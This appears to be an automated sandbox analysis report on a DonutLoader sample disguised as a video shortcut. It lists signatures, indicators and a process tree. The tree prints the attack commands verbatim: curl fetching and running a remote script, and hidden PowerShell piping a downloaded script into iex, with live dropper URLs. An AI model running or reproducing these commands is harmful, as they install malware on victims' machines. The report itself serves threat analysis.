donutloader | e06cbda80536d564ed5ce571010f9130a20ab1155e788e0066c33d884a9927fe

Resubmissions

26/06/2026, 04:27

260626-e3f1rahw6l10

26/06/2026, 04:21

260626-eytfaagy4y10

Analysis

max time kernel
149s
max time network
130s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/06/2026, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PACK8/teenpussyfeetandass.mp4.lnk
Size 699B
Sample260626-e3f1rahw6l
SHA256 e06cbda80536d564ed5ce571010f9130a20ab1155e788e0066c33d884a9927fe
MD5 17858f034b706a54fc48a9894c6fb4b6
SHA1 64bedc3fa6ff5c5ab789db331a12a6da451998b9
SHA512 c2ad329584366e4ddf187a1494fa078195409f9d51723470f0bc8117476b692b86d8c030b52c6aa6daee6ceec30f74e7b6a7839569f71a71663d97d453aee4b3
TLSH
T10D01285021EC172CC3B35E3B087596114A22BA07EE32DF2C13D4858C9858204ED39F3A
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution exploit donutloader loader persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral6/memory/952-125-0x00000214347C0000-0x00000214347DA000-memory.dmp	family_donutloader

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	2692	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2692	powershell.exe
2896	powershell.exe
3288	powershell.exe
2744	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	powershell.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
2484	icacls.exe
2360	icacls.exe
3300	icacls.exe
800	icacls.exe
2272	icacls.exe
2512	takeown.exe

Deletes itself 1 IoCs

pid	Process
2692	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
1920	7z.exe
952	node.exe
2220	PsExec.exe
3280	PSEXESVC.exe
1008	PSEXESVC.exe

Loads dropped DLL 1 IoCs

pid	Process
952	node.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2360	icacls.exe
3300	icacls.exe
800	icacls.exe
2272	icacls.exe
2512	takeown.exe
2484	icacls.exe

Drops desktop.ini file(s) 9 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	powershell.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	wmplayer.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\D:	wmplayer.exe
File opened (read-only)	\??\L:	wmplayer.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\U:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe
File opened (read-only)	\??\D:	unregmp2.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\G:	wmplayer.exe
File opened (read-only)	\??\N:	wmplayer.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\X:	wmplayer.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2220	PsExec.exe

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
6092	powercfg.exe
5000	powercfg.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 22 IoCs

description	ioc	Process
File created	C:\Windows\PSEXESVC.exe	PsExec.exe
File opened for modification	C:\Windows\PSEXEC-JYGSFOIQ-25877199.key	PSEXESVC.exe
File created	C:\Windows\SystemTemp\eeohkgp5\eeohkgp5.0.cs	powershell.exe
File created	C:\Windows\SystemTemp\eeohkgp5\eeohkgp5.cmdline	powershell.exe
File opened for modification	C:\Windows\SystemTemp\RES4675.tmp	cvtres.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_pq53xfuc.ula.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_trtu1vgf.1ty.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe
File created	C:\Windows\SystemTemp\eeohkgp5\eeohkgp5.dll	powershell.exe
File created	C:\Windows\SystemTemp\eeohkgp5\eeohkgp5.err	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_lupldzfo.zzh.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ddv0hrn0.gbz.psm1	powershell.exe
File created	C:\Windows\SystemTemp\eeohkgp5\eeohkgp5.tmp	powershell.exe
File opened for modification	\??\c:\Windows\SystemTemp\eeohkgp5\eeohkgp5.dll	csc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_czzq5twx.jun.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_gyjg02he.pnc.ps1	powershell.exe
File created	C:\Windows\SystemTemp\eeohkgp5\eeohkgp5.out	powershell.exe
File created	\??\c:\Windows\SystemTemp\eeohkgp5\CSC893C8AF7334543B0B92894C8A82CF674.TMP	csc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_d5wn1chp.q1u.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_asujlk52.nsv.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_45zi1sfr.art.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_5un4udaj.03h.psm1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PsExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmplayer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	unregmp2.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-487906980-2895880840-1957110281-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-487906980-2895880840-1957110281-1000\{15093B13-F5B9-484B-BC68-FDFACF10928A}	wmplayer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}\Instance\	wmplayer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer	wmplayer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer\CLSID = "{cd3afa96-b84f-48f0-9393-7edc34128127}"	wmplayer.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
2692	powershell.exe
2692	powershell.exe
2692	powershell.exe
2692	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe
3288	powershell.exe
3288	powershell.exe
3288	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4188	unregmp2.exe
Token: SeCreatePagefilePrivilege	4188	unregmp2.exe
Token: SeShutdownPrivilege	3952	wmplayer.exe
Token: SeCreatePagefilePrivilege	3952	wmplayer.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeShutdownPrivilege	3952	wmplayer.exe
Token: SeCreatePagefilePrivilege	3952	wmplayer.exe
Token: SeIncreaseQuotaPrivilege	2692	powershell.exe
Token: SeSecurityPrivilege	2692	powershell.exe
Token: SeTakeOwnershipPrivilege	2692	powershell.exe
Token: SeLoadDriverPrivilege	2692	powershell.exe
Token: SeSystemProfilePrivilege	2692	powershell.exe
Token: SeSystemtimePrivilege	2692	powershell.exe
Token: SeProfSingleProcessPrivilege	2692	powershell.exe
Token: SeIncBasePriorityPrivilege	2692	powershell.exe
Token: SeCreatePagefilePrivilege	2692	powershell.exe
Token: SeBackupPrivilege	2692	powershell.exe
Token: SeRestorePrivilege	2692	powershell.exe
Token: SeShutdownPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeSystemEnvironmentPrivilege	2692	powershell.exe
Token: SeRemoteShutdownPrivilege	2692	powershell.exe
Token: SeUndockPrivilege	2692	powershell.exe
Token: SeManageVolumePrivilege	2692	powershell.exe
Token: 33	2692	powershell.exe
Token: 34	2692	powershell.exe
Token: 35	2692	powershell.exe
Token: 36	2692	powershell.exe
Token: SeIncreaseQuotaPrivilege	2692	powershell.exe
Token: SeSecurityPrivilege	2692	powershell.exe
Token: SeTakeOwnershipPrivilege	2692	powershell.exe
Token: SeLoadDriverPrivilege	2692	powershell.exe
Token: SeSystemProfilePrivilege	2692	powershell.exe
Token: SeSystemtimePrivilege	2692	powershell.exe
Token: SeProfSingleProcessPrivilege	2692	powershell.exe
Token: SeIncBasePriorityPrivilege	2692	powershell.exe
Token: SeCreatePagefilePrivilege	2692	powershell.exe
Token: SeBackupPrivilege	2692	powershell.exe
Token: SeRestorePrivilege	2692	powershell.exe
Token: SeShutdownPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeSystemEnvironmentPrivilege	2692	powershell.exe
Token: SeRemoteShutdownPrivilege	2692	powershell.exe
Token: SeUndockPrivilege	2692	powershell.exe
Token: SeManageVolumePrivilege	2692	powershell.exe
Token: 33	2692	powershell.exe
Token: 34	2692	powershell.exe
Token: 35	2692	powershell.exe
Token: 36	2692	powershell.exe
Token: SeIncreaseQuotaPrivilege	2692	powershell.exe
Token: SeSecurityPrivilege	2692	powershell.exe
Token: SeTakeOwnershipPrivilege	2692	powershell.exe
Token: SeLoadDriverPrivilege	2692	powershell.exe
Token: SeSystemProfilePrivilege	2692	powershell.exe
Token: SeSystemtimePrivilege	2692	powershell.exe
Token: SeProfSingleProcessPrivilege	2692	powershell.exe
Token: SeIncBasePriorityPrivilege	2692	powershell.exe
Token: SeCreatePagefilePrivilege	2692	powershell.exe
Token: SeBackupPrivilege	2692	powershell.exe
Token: SeRestorePrivilege	2692	powershell.exe
Token: SeShutdownPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeSystemEnvironmentPrivilege	2692	powershell.exe
Token: SeRemoteShutdownPrivilege	2692	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3952	wmplayer.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 5480 wrote to memory of 2712	5480	cmd.exe	90
PID 3952 wrote to memory of 3980	3952	wmplayer.exe	92
PID 3980 wrote to memory of 4188	3980	unregmp2.exe	93
PID 2712 wrote to memory of 2060	2712	cmd.exe	96
PID 2712 wrote to memory of 2692	2712	cmd.exe	97
PID 2692 wrote to memory of 1084	2692	powershell.exe	98
PID 2692 wrote to memory of 3468	2692	powershell.exe	99
PID 3468 wrote to memory of 5260	3468	csc.exe	100
PID 2692 wrote to memory of 4552	2692	powershell.exe	101
PID 4552 wrote to memory of 3132	4552	csc.exe	102
PID 2692 wrote to memory of 4504	2692	powershell.exe	103
PID 4504 wrote to memory of 3752	4504	csc.exe	104
PID 2692 wrote to memory of 4256	2692	powershell.exe	105
PID 2692 wrote to memory of 4400	2692	powershell.exe	106
PID 2692 wrote to memory of 2280	2692	powershell.exe	108
PID 2692 wrote to memory of 2628	2692	powershell.exe	109
PID 2692 wrote to memory of 1920	2692	powershell.exe	110
PID 2692 wrote to memory of 1716	2692	powershell.exe	111
PID 2692 wrote to memory of 2512	2692	powershell.exe	159
PID 2692 wrote to memory of 1856	2692	powershell.exe	113
PID 2692 wrote to memory of 1880	2692	powershell.exe	114
PID 2692 wrote to memory of 2948	2692	powershell.exe	115
PID 2692 wrote to memory of 3352	2692	powershell.exe	116
PID 2692 wrote to memory of 2480	2692	powershell.exe	117
PID 2692 wrote to memory of 2760	2692	powershell.exe	118
PID 2692 wrote to memory of 2700	2692	powershell.exe	119
PID 2692 wrote to memory of 952	2692	powershell.exe	120
PID 6000 wrote to memory of 2744	6000	cmd.exe	125
PID 2744 wrote to memory of 3432	2744	powershell.exe	126
PID 3432 wrote to memory of 1952	3432	csc.exe	127
PID 2744 wrote to memory of 5244	2744	powershell.exe	129
PID 2744 wrote to memory of 2220	2744	powershell.exe	131
PID 3280 wrote to memory of 2896	3280	PSEXESVC.exe	135
PID 2896 wrote to memory of 2380	2896	powershell.exe	138
PID 2380 wrote to memory of 4384	2380	csc.exe	139
PID 2896 wrote to memory of 6092	2896	powershell.exe	140
PID 2896 wrote to memory of 5000	2896	powershell.exe	141
PID 2896 wrote to memory of 2484	2896	powershell.exe	142
PID 2896 wrote to memory of 2360	2896	powershell.exe	143
PID 2896 wrote to memory of 3300	2896	powershell.exe	144
PID 2896 wrote to memory of 800	2896	powershell.exe	145
PID 2896 wrote to memory of 2272	2896	powershell.exe	146
PID 2896 wrote to memory of 5612	2896	powershell.exe	147
PID 2896 wrote to memory of 5316	2896	powershell.exe	148
PID 2896 wrote to memory of 2736	2896	powershell.exe	149
PID 2896 wrote to memory of 1836	2896	powershell.exe	150
PID 2896 wrote to memory of 904	2896	powershell.exe	151
PID 2896 wrote to memory of 556	2896	powershell.exe	152
PID 2896 wrote to memory of 2716	2896	powershell.exe	154
PID 2896 wrote to memory of 4464	2896	powershell.exe	155
PID 2896 wrote to memory of 620	2896	powershell.exe	156
PID 2896 wrote to memory of 2536	2896	powershell.exe	157
PID 2896 wrote to memory of 3288	2896	powershell.exe	158

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2700	attrib.exe
1856	attrib.exe
1880	attrib.exe
2948	attrib.exe
3352	attrib.exe
2480	attrib.exe
2760	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenpussyfeetandass.mp4.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:5480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenpussyfeetandass.mp4)&(curl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://3gunit.com 106)
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\curl.exe
    curl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd
    3⤵
    PID:2060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://3gunit.com" "106"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Drops desktop.ini file(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2692
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/rAU.ps1
      4⤵
      PID:1084
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\djap1fu3\djap1fu3.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3468
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEDC6.tmp" "c:\Users\Admin\AppData\Local\Temp\djap1fu3\CSC84B99D3642BD4AA8864D92502FF639.TMP"
        5⤵
        
        PID:5260
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\apdcjh3t\apdcjh3t.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4552
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEEB0.tmp" "c:\Users\Admin\AppData\Local\Temp\apdcjh3t\CSC2747144466B94ED1BC7468272C683780.TMP"
        5⤵
        
        PID:3132
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bc5ckuwc\bc5ckuwc.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4504
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEF1E.tmp" "c:\Users\Admin\AppData\Local\Temp\bc5ckuwc\CSC293132735C1465E992CB27EED17924.TMP"
        5⤵
        
        PID:3752
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/rIF.ps1 -o C:\ProgramData\rIF.ps1
      4⤵
      PID:4256
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/invoke.vbs -o C:\ProgramData\invoke.vbs
      4⤵
      PID:4400
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/7z.exe -o C:\Users\Admin\AppData\Local\Temp/build\7z.exe
      4⤵
      PID:2280
  - - C:\Windows\system32\curl.exe
